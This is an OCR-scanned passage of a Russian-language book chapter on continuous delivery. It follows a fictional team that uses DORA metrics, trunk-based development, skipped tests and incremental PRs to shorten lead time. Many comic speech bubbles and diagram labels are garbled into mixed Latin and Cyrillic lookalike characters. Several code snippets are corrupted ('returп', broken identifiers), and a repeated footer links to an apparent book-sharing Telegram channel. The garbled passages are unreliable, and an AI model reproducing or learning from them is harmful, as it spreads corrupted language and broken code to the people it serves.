Сэнди измерил две связанные со скоростью метрики DORA для Watch Ме Watch: 

• Частота разверт111вания - раз в 2 месяца. 

• Время доставки изменений - 45 дней. 

О'кей.". ЭW\О хороию (..(Л(..( 
У\ЛОХО? я не ЗНО.Ю, ЧW\О но.м 

W\eY\eptJ дeЛO.W\tJ с ЭW\OU 
(..(Нформо.ц(..(еu. 

Глядя на эти показатели по отдельности, трудно сделать выводы или вынести что-то 
полезное. В рамках определения этих метрик члены команды DORA также произ
вели классификацию оцениваемых ими команд по общей эффективности и рас
пределили их по четырем категориям: низкоэффективные, среднеэффективные, 
высокоэффективные и суперэффективные. 

Для каждой метрики они указали ее значение для команд в указанных категори
ях. Для метрик скорости классификация выглядит следующим образом (из отчета 
за 202 1 год) : 

Метрика Супер- Высоко- Средне- Низко-
эффективные эффективные эффективные эффективные 

Частота Несколько От одного раза От одного раза Реже, чем раз 
развертывания раз в день в неделю до в месяц до одно- в полгода 

одного раза го раза в полгода 
в месяц 

Время доставки Менее одно- От одного дня От одного месяца Более полу-
изменений го часа до одной недели до полугода года 

Суперэффективные команды каждый день выполняют множество развертываний, 
а время доставки изменений в них составляет менее часа! Компании с низкими по
казателями развертывают систему реже чем раз в полгода, а на реализацию изме
нений у них уходит более 6 месяцев. Сравнивая показатели работы Watch Ме Watch 
с этими значениями, можно сказать, что компания однозначно входит в группу 
среднеэффективных команд. 

Что делать, если я нахожусь между двумя группами ? 

Результаты, представленные командой DORA, сгруппированы таким образом, 
что между ними существует небольшой разрыв. Эта классификация основана на 
значениях, полученных в результате исследования работы команд, и не является 
абсолютным руководством к действию. Если вы видите, что ваши показатели 
попадают в промежуток, вам решать, считать ли себя лучшим в нижней группе 
или худшим в верхней. Возможно, полезнее абстрагироваться и оценить свои 
показатели по всем метрикам, чтобы получить комплексное представление 
о своей производительности. 

Книги для программистов: https://t.me/booksforits



Повышаем скорость работы в Watch Ме Watch 213 

Повышаем скорость работы в Watch Ме Watch 

Сэнди приступает к разработке плана повышения скорости работы в Watch Ме 
Watch: 

• Частота развертывания. Чтобы перейти от среднего показателя к высокому, 
команда должна делать развертывания не реже одного раза в месяц. 

• Время доставки изменений. Чтобы перейти от средних показателей к высоким, 
команде необходимо сократить этот срок с 45 дней до одной недели или даже 
меньше. 

Сейчас частота развертывания в компании определяется фиксированными окнами 
развертывания - один раз в 2 месяца. Это также влияет на время доставки измене
ний: ветки функций не сливаются, пока не будет полностью завершена разработка 
функции, и слияние может производиться только между периодами заморозки 
кода, а если разработчик пропустит окно развертывания, то его изменения будут 
отложены на 2 месяца, до следующего окна. 

Сэнди предположил, что на обе метрики сильно влияют окна развертывания 
(и заморозка кода непосредственно перед развертыванием) ,  а усугубляет ситуацию 
использование веток функций. 

К.ак насчем моzо, чмоб111 
nоэксnерименмиро6ам11 

на одной функции и nосмом -
рем11, чмо nолучимся? 

Не 6onpoc, я люблю 
эксnерименм111! 

Вnеред1 

Книги для программистов: https://t.me/booksforits



214 Глава 8. Простая доставка начинается с контроля версий 

Интеграция с Al lCatsAl lTheTime 
Эксперимент с отказом от веток функций Сэнди планирует провести н а  функции, 
над которой работает Ян. Ян разрабатывает интеграцию с новым стриминговым 
провайдером AllCatsAl!TheTime (этот провайдер предлагает тщательно отобранный 
контент о кошках). Чтобы понять, какие изменения придется внести Яну, вспомним 
схему архитектуры Watch Ме Watch. Несмотря на то что компания выросла с тех 
пор, как мы в последний раз обращались к этой схеме, первоначальные идеи Саши 
и Сары по-прежнему работают, поэтому архитектура не изменилась: 

в 
Сервис 

nользова-� � ..----! /7 телей 

Мобильное 
п риложение 

АРl-сервис 

Сервис 
стриминговой Код для инмеzрtщии 

, ___ 
_. llC tt-r-1. . интеграции А atsA , nеТ1ме 1 _ __.;_.-. 

нужно доба6им1:1 сюу -? 

Интеграция с Al!CatsAl!TheTime в качестве нового провайдера стриминговых услуг 
означает изменение сервиса стриминговой интеграции. В коде этого сервиса каждый 
интегрированный стриминговый сервис реализуется как отдельный класс, и предпо
лагается, что он наследует от класса StreamingService, реализуя следующие методы: 

def getCu r rentlyWatching ( self ) : 

def getWat c hHistory ( self,  t ime_period ) :  

def getDetail s ( self,  s how_or_movie ) : 

Эмом инмерфейс мз6оляем реализо -
6ам1:1 бол1:1шинсм60 функций, комор1:11е 
мребуюмся Watcl-1 Ме Watcl-1 ом м -
сма6щико6 смриминzо61:11х услуz: 
узнамt�, чмо смомрел мл1:1зо6амел1:1, 
и млучимt� мдробную информацию 
о конменме, комор1:11й он смоw.рел. 
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,-. Магистральная разработка 
Подход, который предлагает Сэнди, - это магистральная разработка (trunk
based development), при которой разработчики часто сливают изменения в ма
гистральную ( trunk) ветку репозитория, она же главная ветка. Это делается 
вместо ветвления функций, когда долгоживущие ветки создаются для каждой 
функции, а изменения фиксируются в ветке по мере разработки функции. 
В конце концов в какой-то момент вся ветка сливается обратно в главную 
ветку. Ветвление функций выглядит следующим образом: 

Время 

Featиre Featиre 
Branch :!. Branch ;2. 

Глабная бtмка, 
или «смбол» (trиnk) 

1 1  

1 1  
1 1  Вемка 

слибаемся 
б zлабную 

• 
t 
t 

В емка 
слибаемся • t б zлабную 

·-------. . 

К.аждая бемка функции продол -
жаем сущесмбобамt>, и no ходу 

разрабомки б нее бносямся ноб1:>1е 
коммимl:>I до мех nop, nока 

функция не будем счимамt>СЯ 
заберш.енноiА, - мол1:>ко моzда 

KOMMиWll:>I б ЭWIOW бемке 
(бозможно, бол1:>ш.ое их количе 

смбо) слибаюмся обрамно 
б zлабную. 

При магистральной разработке коммиты возвращают в главную ветку как 
можно чаще, даже если функция целиком еще не завершена (однако каждое 
изменение все равно должно быть завершено, что мы и покажем на примере 
далее в этой главе) :  

Время 

Глабная бемка, 
или «смбол» 

t К.оммим для функции ;2. 
t К.оммим для функции ;;.. 
t К.оММиWI для функции ;2. 

К.оммим для функции :!. t 
К.оммим для функции :!. t 

t К.оммим для функции ;2. 
t К.оммим для функции ;2. ' 4 К.оММиW\ для функции ;J.. \ �оммим �ля функции � 4 Эми коммим1:>1 моzум еще какое -мо оммим ля функции 4 бремя находим1:>ся на бемках, прежде чем 

К.оммим для функции :i. 4 
будум слим1:>1 б zлабную бемку, но эмо 
бремя добол1:>но мало (мо есмt> бемки 

«коромкожибущие» ). 
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И нкрементная доставка функций 
Ян обсуждает с Сэнди обычный ход своей работы над функцией: 

l. Создание ветки функции как ответвления от главной ветки. 

2 .  Начало разработки сквозных тестов. 

3. Наполнение каркаса нового класса стримингового сервиса тестами. 

4. Добавление тестов и новых классов для каждой отдельной функции. 

5 .  Периодическое подтягивание изменений из главной ветки (если он об этом не 
забывает) . 

6. Когда все готово, слияние функции с главной веткой. 

При подходе, который предлагает Сэнди, Ян по-прежнему будет создавать ветки, 
но их нужно будет сливать обратно с главной как можно быстрее, по возможности 
несколько раз в день. Поскольку этот процесс сильно отличается от того, как привык 
работать Ян, они подробно обсуждают детали. 

Сначала мне нужно наl'\исамt7 
сквозн171е месмt71, но для эмоzо нужна 
долгоживущая вемка. Я имею в виду, 
чмо эми месмы не 1'\роiАдум, 1'\ОКа 
вся эма фигня не зарабомаем, мак 

чмо я никак не смогу слимt7 

Согласен, чмо омключамt7 месмt71 
и осмавлямt7 их не оченt7 хорошо, но сеiАчас 

Mt7/ акмивно рабомаеw.17 над эмоiА функ11иеiА, 
мак чмо М/71 не осмавим их омключеннt71Ми 

навсеzда, и на даННР/tА МОМенм Мне ЭМО 

их с главноiА. 
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Коммит с п ропущенными тестами 
Сэнди убеждает Яна создать сквозные тесты, как он и задумывал, и хотя они не 
будут проходить до конца работы над функцией, закоммитить их в главную ветку 
как неактивные. Это позволит быстро выполнить коммит в главную ветку без не
обходимости держать тесты в долгоживущей ветке функций. 

Ян создает набор сквозных тестов для новой интеграции с AllCatsAllTheTime. 
Эти тесты будут взаимодействовать с реальным сервисом AllCatsAl!TheTime, поэто
му он заводит тестовый аккаунт (Watc hMeWatchTest01) и создает в нем активность 
просмотров, которую обрабатывают его тесты. Например, вот один из сквозных 
тестов, который покрывает метод getWatchHistory:  

def test_get_watc h_hi story ( self ) : 
service AllCat sAllTheTime ( ACATT_TEST_US E R )  
h i story = service . getWatchHistory ( A L L_TIME ) 

self . a s sert Equa l ( len ( history ) ,  3 )  
self . a s sertEqua l ( hi story [ 0 ] . name , «Real  Cats of NYC » )  

Тесты, конечно, н е  срабатывают, потому что на  самом деле Ян  не  реализовал ни одну 
из функций, которые вызывают эти тесты. Ему не нравится идея, но он делает то, 
что предложил Сэнди, и отключает тесты с помощью un ittest . s kip  с сообщением 
о том, что процесс реализации еще не завершен. Он включает ссылку на проблему 
интеграции Al!CatsAllTheTime в баг-трекер (#2387) ,  чтобы другие разработчики 
могли найти дополнительную информацию, если она им понадобится: 

@unittest . s kip ( " ( #2387 ) незавершенная  интеграция 
с сервисом AllCatsAllТheТime " )  

def test_get_watc h_hi story ( self ) : 

Мне кажеWIСЯ, ЧWIO ЭWlo 
1'\.УСW1ая W1paW1a 6ременц; 
ЭW\О l'\pOCW\O VIOMtшatW\ 
друzцм paзpa00WIЧIAKQM1 

Ян большой скептик! Он что, плохой программист ? 

Совсем нет! Быть скептиком естественно, когда пробуешь что-то новое, особен
но если у вас большой опыт работы над задачами другими способами.  Главное, 
что Ян согласен пробовать. Вообще, готовность экспериментировать и давать 
новым идеям шанс - основное условие постоянного развития и совершен
ствования команды. И оно совсем не означает, что каждая новая идея должна 
немедленно всем понравиться. 
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П роверка кода и непол ный код 
Как такой подход сочетается с проверкой кода? Наверняка такие маленькие непол
ные коммиты, как этот, трудно проверять? Посмотрим, что произойдет! 

Ян создает PR, содержащий новые пропущенные сквозные тесты, и отправляет 
его на проверку. Когда другой разработчик из его команды, Мелисса, приступает 
к проверке PR, она, по понятным причинам, сбита с толку, поскольку привыкла 
проверять полностью готовые функции. Ее первые слова это подтверждают: 

& Мелисса 
Привет, Ян, я не знаю, как это проверять; этот PR не полный. Может быть, ты 
забыл добавить какие-то файлы? 

До сих пор разработчики сайта Watch Ме Watch считали PR полным, если он со
держит рабочую функцию, все сопутствующие тесты (все успешные и ни одного 
пропущенного) и документацию для функции. 

Переход к инкрементному подходу означает пересмотр понятия «полный». Сэнди 
приводит новое определение полного PR: 

• Весь код соответствует проверкам линтинга. 

• Докстринги (строки документации)  для неполных функций поясняют, почему 
они неполные. 

• Каждое изменение кода сопровождается тестами и документацией. 

• Отключенные тесты содержат пояснение и ссылку на отслеживаемую проблему. 

Сэнди и Ян объясняют Мелиссе и остальным членам команды, что они пытаются 
сделать, и попутно вводят новое определение понятия << полный» .  После встречи 
Мелисса возвращается к PR и оставляет несколько новых замечаний: 

& Мелисса 
Думаю, теперь я поняла! Кажется, для нового инкрементного подхода осталось 
только обновить документацию по интеграции со стриминговыми сервисами? 

Ян понимает, что Мелисса права: он добавил тесты, но не обновил документацию 
в репозитории, объясняющую порядок интеграции с потоковыми сервисами, поэтому 
он вносит в PR изменение с добавлением нескольких коротких исходных документов: 

* AllCatsAl lTheTime - ( #2387 ) незавершенная интеграция с провайдером контента 
о кошках 

Мелисса одобряет изменения, и отключенные сквозные тесты сливаются в главную 
ветку. 
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� Но разве мертвый код - это хорошо? 
Многие компании вводят запрет на мертвый код, и на то есть веские при
чины! Мертвый код - это код, который зафиксирован в репозитории, но не 
доступен; он не вызывается никакими активно работающими путями кода. 
(Этим термином также может обозначаться код, который выполняется, но 
ничего не меняет, но здесь имеется в виду не это . )  

Важно понимать, почему мертвого кода быть не должно. Основная при
чина связана с долговременной поддержкой кода. По мере добавления нового 
кода разработчики будут видеть мертвый код, и им придется как минимум его 
читать, чтобы понимать, что он не используется, а в худшем случае - тратить 
время на его обновление. Однако это потеря времени только в том случае, 
если код действительно мертвый (то есть не будет больше использоваться) .  
В нашем случае часть кода, который добавляет Ян ,  может показаться мерт
вой, поскольку он не используется, но он просто еще не используется. Время, 
которое другие разработчики тратят на поддержку этого кода, не пропадает 
зря; на самом деле, как вы увидите дальше, оно чрезвычайно полезно. 

Мертвый код - это плохо, только если его присутствие в проекте 
приводит к потере времени на его поддержку. 

Тем не менее лучше не оставлять мертвый код. (Представьте, например, что 
Watch Ме Watch решает не интегрироваться с сервисом AllCatsAllTheTime, 
и Ян прекращает работу над этой функцией. Если оставить этот код, он ста
нет шумом и на него будет напрасно тратиться время. )  Чтобы мертвый код 
не захламил проект, можно сделать следующее: 

Полностью запретить фиксацию мертвого кода (недоступного, невыпол
няемого кода) , выявляя его до слияния и блокируя его слияние. 
Регулярно запускать автоматизированные процессы для обнаружения 
мертвого кода и вычищать его автоматически. Лучше всего, если средства 
автоматизации будут предлагать изменения для удаления кода, но не сли
вать их, а разработчики будут сами решать, стоит ли оставлять этот код. 

Второй вариант является наиболее гибким и позволит использовать подход, 
похожий на тот, который использует Ян, в сочетании с мерами предосто
рожности, обеспечивающими удаление кода, если в итоге окажется, что он 
никогда не будет использован. 

Если ваша компания выберет первый вариант, вы все равно сможете ис
пользовать инкрементный подход к разработке функций, но он будет выгля
деть несколько иначе. Несколько советов о том, как это сделать, вы найдете 
ниже, во врезке «Вы можете коммитить чаще !» .  
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Двигаемся дал ьше 
Ян выполняет слияние для своих исходных (отключенных) сквозных тестов. Что 
дальше? Он делает почти все то же, что и при реализации новой функции, но без 
специально выделенной ветки функций: 

1. Создание ветки фунКЦРIИ как ответвлеttР111 ОТ rлавноР-1 ветКРI 

(Ветки функций не используются) .  Следующий 
2 .  1 la'laлo разработки сквозньтх тестов 7щаz 

(Сделано, произведено слияние с главной веткой) .  

3 .  Наполнение каркаса нового класса стримингового сервиса тестами. 

4. Добавление тестов и новых классов для каждой отдельной функции. 

5 .  Периодическое подтягивание изменений из главной ветки (если он об этом 
не забывает) .  

6. Когда все готово, слияние функции с главной веткой . 

Следующий шаг Яна - приступить к созданию каркаса нового стримингового 
сервиса и связанных с ним юнит-тестов. Через несколько дней Сэнди проводит 
проверку: 

К слову, Сэнди ненавидит 
микроменеджмент 
и обычно не вмешивается 
в работу подчиненных! 

Да, мне YlOW1peбyeW1cя 
несколtжо дней , ЧW1обь1 собраW1ь 
каркас нового класса и юниW1 -

W1tеW1Ы. 1<.аЖtW\СЯ, У\ОКа 
для слияния ничего неW\. 
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Коммит незавершенного кода 
Пока что у Яна есть несколько исходных методов для класса AllCatsAll TheTime: 

class AllCatsAllTheTime ( StreamiпgService ) : 
def �iпit�( self, user ) : 

super ( ) . �iпit�( user )  

def  getCurreпtlyWatchiпg ( self ) : 
'""' Получить шоу/фильмы, которые , по данным AllCatsAllТheТime , 

сейчас смотрит пользователь self . user" " "  
returп [ ]  

def getWatchHistory ( self, time_period ) :  
" " " Получить шоу/фильмы, которые , по данным AllCatsAllТheТime , 

смотрел пользователь self . user " " "  
returп [ ]  

def getDetails ( self, s how_or_movi e ) : 
" " " Получить все атрибуты шоу/фильма , хранящиеся на сервисе AllCatsAllТheТime " " "  
returп { }  

О н  также создал юнит-тесты для getDet a i l s  (которые пока не работают, потому 
что еще ничего не реализовано) и разработал несколько исходных юнит-тестов для 
других функций, которые совершенно пусты и всегда проходят. Он показывает эту 
работу Сэнди, который дает несколько комментариев: 

Разве Ян не должен был сделать больше за несколько дней ?  

Может быть, да  (а может и нет, ведь создавать макеты объектов и обеспечивать 
работоспособность юнит-тестов может быть очень сложно) .  На самом деле 
я сокращаю примеры, потому что мне нужно уместить их в одну главу. Описы
ваемая здесь идея справедлива даже для небольших примеров и заключается 
в том, что нужно привыкнуть делать небольшие частые коммиты, даже такие 
маленькие, как те, которые будет делать Ян. 
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Ревью незавершенного кода 
Ян открывает PR со своими изменениями: пустой каркас нового класса, отключен
ный юнит-тест, который не проходит, и несколько юнит-тестов, которые ничего 
не делают, но проходят. К этому моменту Мелисса понимает, почему так много PR 
находится в процессе разработки, и не возражает. Но тут же дает обратную связь: 

& Мелисса 
Можно ли добавить еще описаний в документацию? Автоматическая документа
ция пытается добавить этот новый класс, а все докстринги практически пусты. 

Ян не ожидал, что PR с таким небольшим контентом может получить полезную об
ратную связь. Он начинает заполнять докстринги для пустых функций, описывая, 
для чего они предназначены и что они делают; например, он добавляет такой докст
ринг в новый класс AllCatsAll TheTime: 

def getWatchHistory ( self,  t ime_period ) :  

Получить шоу/фильмы, которые , по данным AllCat sAllTheTime , смотрел пользователь self . u ser  

Ресурс AllCatsAllTheTime будет хранить  полную историю всех  шоу и фильмов,  
просмотренных пользователем с момента регистрации до текущего момента , 
поэтому эта функция возвращает результат от 0 до списка неограниченной длины . 

Интеграция AllCatsAllTheTime находится в стадии разработки (#2387 ) ,  поэтому 
пока что эта функция ничего не делает и всегда возвращает пустой список . 

: pa ram t ime_period : Либо эначение AL L_TIME для получения полной истории просмотров,  либо 
экземпляр TimePeriod , указывающий начальную и конечную дату и время для формирования 
выборки по истории 
: returп s : Список шоу - объектов,  по одному для каждого иэ просматриваемых в данный момент . 

ret u rп [ ]  

После того как Я н  обновляет PR с докстрингами, Мелисса одобряет его, и он сли
вается с главной. 

На Watch Ме Watch 
докстринги пред
ставлены в форма
те reStructuredText. 

Разве Мелисса не тратит время впустую, делая ревью незавершенных 
изменений? 

Если кратко, нет! Мелиссе гораздо проще проверять крошечные PR, чем гигант
скую ветку функции! Кроме того, она может тщательнее изучить интерфейсы 
(например, сигнатуры методов) и дать рекомендации по ним на раннем этапе, 
пока они еще не полностью доработаны. Вносить изменения в код до его на
писания проще, чем после того, как он готов ! 
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Вернемся к сквозным тестам 
За это время в репозитории без ведома Яна, Сэнди и Мелиссы происходят другие 
изменения в коде. Ян создает новую ветку, чтобы начать следующий этап, и когда он 
открывает сквозные тесты и каркас сервиса, над которым работал, он с удивлением 
видит, что кто-то внес изменения в код, который он уже закоммитил !  

Он замечает, что в сквозном тесте вызов метода getWat c h H i story в классе 
AllCatsAll TheTime имеет несколько новых аргументов: 

def
.
��tWatchHistory ( self,  time_period,  max, index ) � 

: param t ime_period : Либо значение ALL_TIME для получения полной истории 
просмотров, либо экземпляр  TimePeriod,  указывающий начальную 
и конечную дату и время для формирования выборки по истории 

: param max : максимальное количество возвращаемых результатов 
: param index : указатель общего количества результатов, из которых 
нужно вернуть результаты вплоть до максимального количества . 

Новые аргументы добавлены также в каркас сервиса: 

В getWatcl-IHistory 
доба6лен1>1 ар 
zуменм1>1 для 
мддержкц м -
смранцчноzо V\po -
смомра резулt�
мамоб. 

def getWatchHistory ( self,  time_period , max,  iпdex ) : 
returп  [ ]  

И даже есть пара новых юнит-тестов: 

def test_get_watch_history_paginated_first_page ( self) : 
service = AllCatsAllTheTime ( ACATT_TEST_USE R )  

Эмц месмt�1 Всегда ... роходям, 
1'\ОМОМу чмо мело месма 
еще не замлнено, но абмор 
указал, чмо следуем сделамt� 
в далt�нейщем. 

history = service . getWatchHistory ( A L L_TIM E ,  2, 0 )  
# TOD0 ( #2387 ) убедиться ,  что возвращается первая страница 

def test_get_watch_history_paginated_la st_page ( self) : 
service = AllCatsAllTheTime (ACATT_TEST_USE R )  
history = service . getWatchHistory (AL L_TIME , 2 ,  1 )  
# TOD0 (#2387 ) убедиться ,  что возвращается первая страница 

� 
результатов 

результатов 

Просматривая историю изменений, Ян видит, что накануне Луи слил PR, который 
добавил разбивку на страницы в getWatchHistory для всех стриминговых сервисов. 
Он также видит сообщение от Луи в чате: 

� Луи 
Спасибо, что слил класс AllCatsAll TheTime пораньше! Я думал, как отслежи
вать, чтобы незавершенные интеграции обновлялись с учетом разбивки на 
страницы; я не хотел, чтобы у тебя были проблемы во время слияния. Круто 
получать обновления сразу! 

Поскольку Ян слил свой код раньше, Луи сразу же внес в него изменения. Если бы 
Ян оставил этот код в ветке функций, Луи не знал бы о сервисе AllCatsAllTheTime, 
а Ян не знал бы об изменениях в разбивке на страницы. Когда он наконец собрался 
бы слить эти изменения, недели или даже месяцы спустя, ему пришлось бы решать 
проблему конфликта изменений с Луи. Но сейчас Луи решил ее, не откладывая 
в долгий ящик. 
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Оценим преимущества 

Сэнд1А , кажеWIСЯ, 

На самом деле мне очень мнрав1Алос1>, 
ЧW\О ЛуlА сразу внес IАЗМенеНIАЯ, связанные 

с разо1Авкой на сW1раню.ф1. РазО1АраW11>ся с ней 
V\p1A CЛIAЯHIAIA всего серв1Аса 01>/ЛО 01>/ Wlрудно. 

BoWI 1АМенно! Внося 1АЗМенен1АЯ 
01>1cW1po, Wlt>t 1AHW1eZp1Apyeщ1> IAX сразу 

1А V\ОСWIОЯнно. Мы дейсW1в1АW1ел1>но 
доО1Ал1Ас1> НtV\рерывной 1AHW1ezpal.{1A1A !  

Мы начинаем выходить за рамки непрерывной интеграции и переходим к про
цессам, которые происходят после нее, то есть к остальной части непрерывной 
доставки, но на самом деле грань между ними тонкая, и решения, которые команда 
принимает в процессе CI, в дальнейшем влияют на весь процесс CD. Хотя главная 
цель Сэнди - повысить скорость, как он только что объяснил Яну, инкрементный 
подход означает, что процессы CI в команде теперь гораздо ближе к идеалу. В чем 
же заключается этот идеал? Вспомним определение непрерывной интеграции: 

процесс, при котором объединение изменений кода происходит постоянно 
и каждое изменение проверяется при внесении. 

При наличии долгоживущих веток функций изменения кода вносятся только тог
да, когда ветки функций возвращаются в главную. Но фиксируя изменения в коде 
главной ветки максимально быстро, Ян часто объединяет свои изменения с содер
жимым главной ветки (и дает возможность другим разработчикам объединить свои 
изменения с его изменениями) !  

' -f� ВАЖНО 

Оптимизация развертывания часто в первую очередь означает повышение 
качества CI. 

' -f � ВАЖНО 

Отказ от долгоживущих веток функций и использование инкрементного под
хода с частыми слияниями с главной веткой (при магистральной разработке) 
не только улучшает CD, но и обеспечивает более качественную CI. 
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Если, глядя на подход Яна и Сэнди, вы говорите себе: «В моем проекте это 
никогда не сработает», - не отчаивайтесь ! Это не единственный вариант, 
позволяющий избежать веток функций и часто сливать поэтапную работу. 
Чтобы использовать инкрементный подход без фиксирования незавершен
ного кода, рассмотрите принцип, который реализуют Ян и Сэнди: 

Разработка и развертывание становятся проще и быстрее, если вносить 
изменения в код как можно чаще. 

Цель - коммитить изменения обратно в репозиторий как можно чаще, 
и в вашей ситуации может быть приемлемо то, что не подходит для данного 
проекта. Самое эффективное - разбить работу на части, каждую из которых 
можно выполнить меньше чем за один день. В любом случае это хорошая 
практика разработки, так как она облегчает планирование работы и упрощает 
взаимодействие с другими сотрудниками (например, позволяет нескольким 
членам команды работать над одной функцией) .  

Что и говорить, это сложно!  И может показаться, что проще с этим не  
связываться . Вот несколько рекомендаций, которые могут помочь создавать 
небольшие, частые пул-реквесты (подробнее см. в литературе о методологиях 
программной разработки, таких как agile) : 

Приступая к работе, отбросьте все непонятные моменты и начните с чер
новой проверки концеп ций (POCs, Proof of Concepts) ,  а не пытайтесь 
сразу писать готовое к выпуску ПО и одновременно изучать новую тех
нологию (например, Ян мог бы создать РОС-интеграцию с сервисом 
AllCatsAllТheTime, прежде чем начинать работать с кодом стриминговой 
интеграции) .  
Разбейте работу на отдельные задачи, каждая из которых займет несколь
ко часов или максимум день. Продумайте, какие небольшие, независимые 
PR можно для них создать (каждый из PR будет содержать документацию 
и тесты) .  
Проводите рефакторинг в отдельном PR и быстро сливайте его. 
Если вы не можете избежать одной большой ветки функций, по ходу ра
боты следите за ее частями, которые можно закоммитить, и найдите время 
на создание и слияние отдельных PR для них. 
Используйте флаги функций, чтобы предотвратить доступ пользователей 
к незавершенным функциям, и/или флаги сборки, чтобы вообще предот
вратить их компиляцию. 

Подведя итог: выделите время и заранее продумайте, как разбить работу на 
части и быстро закоммитить ее обратно, а также уделите внимание созданию 
небольших независимых РR-запросов, необходимых для поддержки этого 
процесса. Ваши усилия окупятся ! 
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Сокращение времени доставки изменений 
Приближая CI к идеалу, Сэнди и Ян изменяют весь процесс CD. В частности, их 
действия положительно влияют на DОRА-метрики Watch Ме Watch. Вспомните 
цели Сэнди: 

• Частота развертывания - перейти от среднего показателя к высокому, выпол
няя развертывания не реже одного раза в месяц. 

• Время доставки изменений - перейти от среднего к высокому результату, со-
кратив время доставки изменений с 45 дней до одной недели или меньше. 

Самый последний PR Яна (включающий каркас нового класса для стримингового 
сервиса и несколько готовых юнит-тестов) был создан всего за несколько дней до 
заморозки кода и открытия окна развертывания. В результате код новой интеграции 
Яна попал на продакшен как часть этого развертывания. 

Конечно, новый код интеграции еще ничего не делает, но, несмотря на это, из
менения, которые вносит Ян, попадают на продакшен. Сэнди оценил время внесения 
этих изменений: 

3 сеНW\Ября Луи V\ОСW\арался ycV\eW\t:> внесW\и 
:1. сенW1ября Слияние PR / PR для изменения разбивки 

Слияние PR Яна Луи для W\eKCW\a на сW1раницt:>1 
для каркаса разбиения до заморозки кода. 

сервиса на сW1раницt:>1 

............... � т 
s сенW\ября 
Заморозка 

кода 

т ЭW\о разверW1t:>1вание 
:1.2 сенW\ября включаеW\ в себя новt:>1u 

Окно каркас сервиса 
разверW1t:>1вания AllCatsAllТheTiWle OW\ Яна 

� и функцию разбивки 
на СW1раниц1:J1 OW\ Луи .  

Ян слил каркас класса за 4 дня до заморозки кода. За 2 дня до заморозки кода Луи 
обновил метод getWatchHistory, чтобы он принимал аргументы разбиения на стра
ницы. Заморозка кода произошла через 2 дня, а через неделю после этого началось 
развертывание. 

Отсчет полного времени доставки изменений в каркас класса начался с момента, 
когда Ян произвел слияние, 1 сентября, и закончился развертыванием 12 сентября, 
общее время составило 1 1  дней. 

Сравним его с временем внесения изменений,  над которыми работал Луи . 
Он работал в ветке функции с момента последнего окна развертывания, которое 
было 12 июля. Он начал работу 8 июля, поэтому полное время доставки изменений 
составило с 8 июля по 1 2  сентября - 66 дней. 

Хотя изменения Яна являются инкрементными (и пока не работают), Ян смог 
сократить время внесения каждого отдельного изменения до 1 1  дней, в то время как 
изменения Луи пришлось ждать 66 дней. 
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П родолжим работу над Al lCatsAl lTheTime 
Я н  продолжил работать с Сэнди, применяя инкрементный подход при реализации 
остальной интеграции в системе AIJCatsAllTheTime. Он реализовывал метод за ме
тодом, разрабатывая их, расширяя набор юнит-тестов и добавляя сквозные тесты по 
ходу работы. Через несколько недель другая участница команды, Мэй, работая над 
функцией поиска, добавляет новый метод в интерфейс StreamingService :  

class  St reamingService : 

@staticmethod 
def searc h ( show_or_movi e ) : 

pass  

Этот новый метод позволит пользователям искать конкретные фильмы и шоу по всем 
стриминговым провайдерам, и автор изменения добавляет его во все существующие 
интеграции. Поскольку Ян в рамках инкрементного подхода постоянно коммитил 
класс AllCatsAll TheTime, Мей может добавить метод поиска в уже имеющийся класс, 
даже не сообщая Яну об изменениях! В один из дней Ян создает новую ветку, чтобы 
начать работу над методом getDetails ,  и видит код, который добавила Мэй. 

Разбивка на страницы и поиск - это две самые важные функции, которые были 
интегрированы с изменениями Яна по мере их разработки и с которыми в обычной 
ситуации Яну пришлось бы разбираться при слиянии. Кроме того, следующее раз
вертывание ( 12 ноября) ,  несмотря на то что интеграция еще не завершена, добавляет 
достаточно функционала, чтобы пользователи могли его использовать, а маркето
логи - рекламировать. 

:1. сенw.ября 3 сенw.ября 
Слияние PR Слияние PR 

Яна для Луи для 
каркаса разбиен1<я на 
арв1<са сw.ранш-11:>1 

........... � т 

Ян V\родолжаеw. 
V\ро1<зводи w.1:> 
СЛIАЯНIАЯ PR 

ежедневно IAЛIA 
через день 

� т 

30 окw.ября 
Слиян1<е 
фyHКl,\IAIA 

V\OIACKa Мэй 

На моменw. разверw.ывания 
:1.2 ноября некоw.ор1:>1е функции 
AllCatsAllТheTiw.e еще не 
реализованы, но функц1<онал1:>н1:>1х 
возможносw.ей уже досw.аw.очно, 
чw.об1:>1 V\ОЛl:>Зоваw.ели MOZЛIA 
1<нw.еzрироваw.1:> сво!А аккаунw.1:>1 
1А IACV\OЛl:>Зoвaw.1:> zоw.овые 
фуНКЦ!Аи .  

т т 
5 сенw.ября 
Заморозка 

кода 

:1.2 сенw.ября 
Окно 

разверw.ыван1<я 

5 ноября :1.2 ноября 
Заморозка Окно 

/ 
кода разверw.ывания 

В случае с веw.ками 
фунКЦIАU мне V\р!АЩЛОСI:> бы 

разб1<раw.1:>ся с разбивкой на 
сw.раниц1:>1 1А с новым V\OIACKOM 
V\p!A СЛIАЯН!Аи ,  НО вмесw.о ЭW.OZO 

мы с Мэй и Лу1< смоzл1< 
заняw.ься ими V\O ходу 

рабоw.1:>1. 
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Окна развертывания и заморозка кода 
Сэнди и Ян представили Саше и Саре результаты своего эксперимента. Они пока
зали, что отказ от долгоживущих веток функций и инкрементное слияние функций 
неожиданно оказались очень полезными: 

• Сократилось время доставки изменений. 

• Множество функций теперь можно интегрировать быстрее и проще. 

• Пользователи получают доступ к функциям раньше. 

Саша и Сара соглашаются применить эту политику во всей компании и посмотреть, 
что получится, поэтому Сэнди и Ян начинают обучать остальных разработчиков, 
как отказаться от веток функций и использовать инкрементный подход. 

Через несколько месяцев Сэнди проверяет время внесения всех изменений, 
чтобы понять, насколько оно снизилось. Среднее время доставки изменений значи
тельно сократилось - с 45 до 1 8  дней. Отдельные изменения стали быстрее попадать 
в главную ветку, но они по-прежнему блокируются при заморозке кода, и если их 
слияние происходит вскоре после развертывания, с их внедрением приходится 
ждать почти 2 месяца до следующего развертывания. Хотя этот показатель DORA 
улучшился, он все еще не соответствует цели Сэнди - улучшить время доставки 
изменений и перейти от среднего результата к высокому (к одной неделе или менее) .  

Так гораздо лучще, Сэнди , но 
кое -ЧWIO до сих nop идеWI медленно, 

и даже со бсеми эW1ими изменениями 

�---н_
а
_
щ
_

а команда ocW1aeW1CЯ средне -
эффекW1ибной. 

Tt>1 nраб, и у меня идея, 
ЧWIO дeлaWlt> далt>ще: 
дабай избабимся OWI 

заморозки кода и окон 
разберW1t>1бания. 

HeWI. НаобороW1, риск nри каждом 
разберW1t>1бании будеWI гораздо менt>ще1 

